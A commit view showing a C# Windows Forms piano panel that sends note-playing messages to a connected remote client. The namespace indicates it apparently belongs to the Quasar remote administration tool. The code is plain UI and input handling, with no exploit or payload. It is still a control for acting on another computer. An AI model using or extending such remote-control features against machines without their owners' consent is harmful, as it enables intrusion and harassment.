initial commit

This commit is contained in:
i2p
2026-08-27 11:22:16 -06:00
commit 96afff7a83
600 changed files with 29291 additions and 0 deletions
+194
View File
@@ -0,0 +1,194 @@
using Quasar.Common.Messages;
using System;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.Windows.Forms;
namespace Quasar.Server.Forms
{
// 2-octave piano (C4B5). Mouse-click or keyboard to play.
// Keyboard layout (standard virtual piano):
// White (lower): Z X C V B N M Q W E R T Y U
// Black (lower): S D G H J 2 3 5 6 7
public class FrmPiano : Form
{
private readonly Action<DoPlayNote> _send;
// ── Note data ────────────────────────────────────────────────────────
private static readonly string[] _names = { "C4","C#4","D4","D#4","E4","F4","F#4","G4","G#4","A4","A#4","B4","C5","C#5","D5","D#5","E5","F5","F#5","G5","G#5","A5","A#5","B5" };
private static readonly int[] _freqs = { 262, 277, 294, 311, 330, 349, 370, 392, 415, 440, 466, 494, 523, 554, 587, 622, 659, 698, 740, 784, 831, 880, 932, 988 };
private static readonly bool[] _black = { false,true,false,true,false,false,true,false,true,false,true,false, false,true,false,true,false,false,true,false,true,false,true,false };
// Computer-key mapping (index aligns with _names)
private static readonly Keys[] _keyMap =
{
Keys.Z, Keys.S, Keys.X, Keys.D, Keys.C, Keys.V, Keys.G, Keys.B, Keys.H, Keys.N, Keys.J, Keys.M,
Keys.Q, Keys.D2, Keys.W, Keys.D3, Keys.E, Keys.R, Keys.D5, Keys.T, Keys.D6, Keys.Y, Keys.D7, Keys.U
};
// ── Layout constants ─────────────────────────────────────────────────
private const int WW = 38, WH = 150, BW = 22, BH = 92, PAD = 10, TOP = 32;
private readonly Rectangle[] _rects = new Rectangle[24];
private int _pressedIdx = -1;
private readonly Stopwatch _slideThrottle = Stopwatch.StartNew();
// Cached brushes
private static readonly Color _pressedWhite = Color.FromArgb(100, 180, 255);
private static readonly Color _pressedBlack = Color.FromArgb(60, 120, 220);
private static readonly Color _bgColor = Color.FromArgb(28, 28, 28);
public FrmPiano(Action<DoPlayNote> send)
{
_send = send;
Text = "Piano";
FormBorderStyle = FormBorderStyle.FixedSingle;
MaximizeBox = false;
StartPosition = FormStartPosition.CenterScreen;
KeyPreview = true;
DoubleBuffered = true;
ClientSize = new Size(PAD * 2 + 14 * WW, TOP + WH + 20);
BackColor = _bgColor;
BuildRects();
Paint += OnPaint;
MouseDown += OnMouseDown;
MouseUp += (s, a) => { _pressedIdx = -1; Invalidate(); };
MouseMove += OnMouseMove;
KeyDown += OnKeyDown;
KeyUp += (s, a) => { _pressedIdx = -1; Invalidate(); };
}
// ── Geometry ─────────────────────────────────────────────────────────
private void BuildRects()
{
// White-key index for each note (black keys get -1)
int[] whiteIdx = new int[24];
int w = 0;
for (int i = 0; i < 24; i++)
whiteIdx[i] = _black[i] ? -1 : w++;
// White key rects
for (int i = 0; i < 24; i++)
if (!_black[i])
_rects[i] = new Rectangle(PAD + whiteIdx[i] * WW, TOP, WW, WH);
// Black key rects: centered on the gap between the two adjacent white keys
// Left white-key note index for each black note
int[] leftWhite = { 0, 2, 5, 7, 9, 12, 14, 17, 19, 21 };
int[] blackNote = { 1, 3, 6, 8, 10, 13, 15, 18, 20, 22 };
for (int b = 0; b < blackNote.Length; b++)
{
int lw = whiteIdx[leftWhite[b]];
_rects[blackNote[b]] = new Rectangle(PAD + (lw + 1) * WW - BW / 2, TOP, BW, BH);
}
}
// ── Painting ─────────────────────────────────────────────────────────
private void OnPaint(object sender, PaintEventArgs e)
{
Graphics g = e.Graphics;
g.SmoothingMode = SmoothingMode.AntiAlias;
// Header label
using (var f = new Font("Segoe UI", 9.5f, FontStyle.Bold))
g.DrawString("Piano · Z X C V B N M | Q W E R T Y U", f, Brushes.Silver, PAD, 6);
// White keys first
for (int i = 0; i < 24; i++)
{
if (_black[i]) continue;
bool pressed = _pressedIdx == i;
var r = _rects[i];
using (var br = new SolidBrush(pressed ? _pressedWhite : Color.White))
g.FillRectangle(br, r);
g.DrawRectangle(Pens.Black, r);
// Key label
using (var f = new Font("Segoe UI", 6.5f))
{
char ch = KeyChar(i);
g.DrawString(ch.ToString(), f, Brushes.DimGray,
r.X + (WW - 8) / 2, r.Bottom - 17);
}
}
// Black keys on top
for (int i = 0; i < 24; i++)
{
if (!_black[i]) continue;
bool pressed = _pressedIdx == i;
var r = _rects[i];
using (var br = new SolidBrush(pressed ? _pressedBlack : Color.FromArgb(28, 28, 28)))
g.FillRectangle(br, r);
// Subtle highlight gradient on un-pressed black key
if (!pressed)
{
using (var lgb = new LinearGradientBrush(r, Color.FromArgb(80, 80, 80), Color.FromArgb(28, 28, 28), LinearGradientMode.Horizontal))
g.FillRectangle(lgb, new Rectangle(r.X, r.Y, 5, r.Height));
}
g.DrawRectangle(Pens.Black, r);
// Key label
using (var f = new Font("Segoe UI", 5.5f))
{
char ch = KeyChar(i);
g.DrawString(ch.ToString(), f, Brushes.DimGray,
r.X + 4, r.Bottom - 14);
}
}
}
private char KeyChar(int idx)
{
var k = _keyMap[idx];
if (k >= Keys.D0 && k <= Keys.D9) return (char)('0' + (k - Keys.D0));
return (char)k; // letter keys: Keys.A = 65 = 'A'
}
// ── Input ─────────────────────────────────────────────────────────────
private void OnMouseDown(object sender, MouseEventArgs e)
{
// Black keys sit on top — test them first
for (int i = 0; i < 24; i++)
if (_black[i] && _rects[i].Contains(e.Location)) { Press(i); return; }
for (int i = 0; i < 24; i++)
if (!_black[i] && _rects[i].Contains(e.Location)) { Press(i); return; }
}
private void OnMouseMove(object sender, MouseEventArgs e)
{
if (e.Button == MouseButtons.None) return;
// Throttle slide to avoid flooding the connection
if (_slideThrottle.ElapsedMilliseconds < 80) return;
for (int i = 0; i < 24; i++)
if (_black[i] && _rects[i].Contains(e.Location)) { if (_pressedIdx != i) { _slideThrottle.Restart(); Press(i); } return; }
for (int i = 0; i < 24; i++)
if (!_black[i] && _rects[i].Contains(e.Location)) { if (_pressedIdx != i) { _slideThrottle.Restart(); Press(i); } return; }
}
private void OnKeyDown(object sender, KeyEventArgs e)
{
for (int i = 0; i < _keyMap.Length; i++)
if (_keyMap[i] == e.KeyCode) { if (_pressedIdx != i) Press(i); return; }
}
private void Press(int idx)
{
_pressedIdx = idx;
Invalidate();
_send(new DoPlayNote { Frequency = _freqs[idx], DurationMs = 1000 });
}
}
}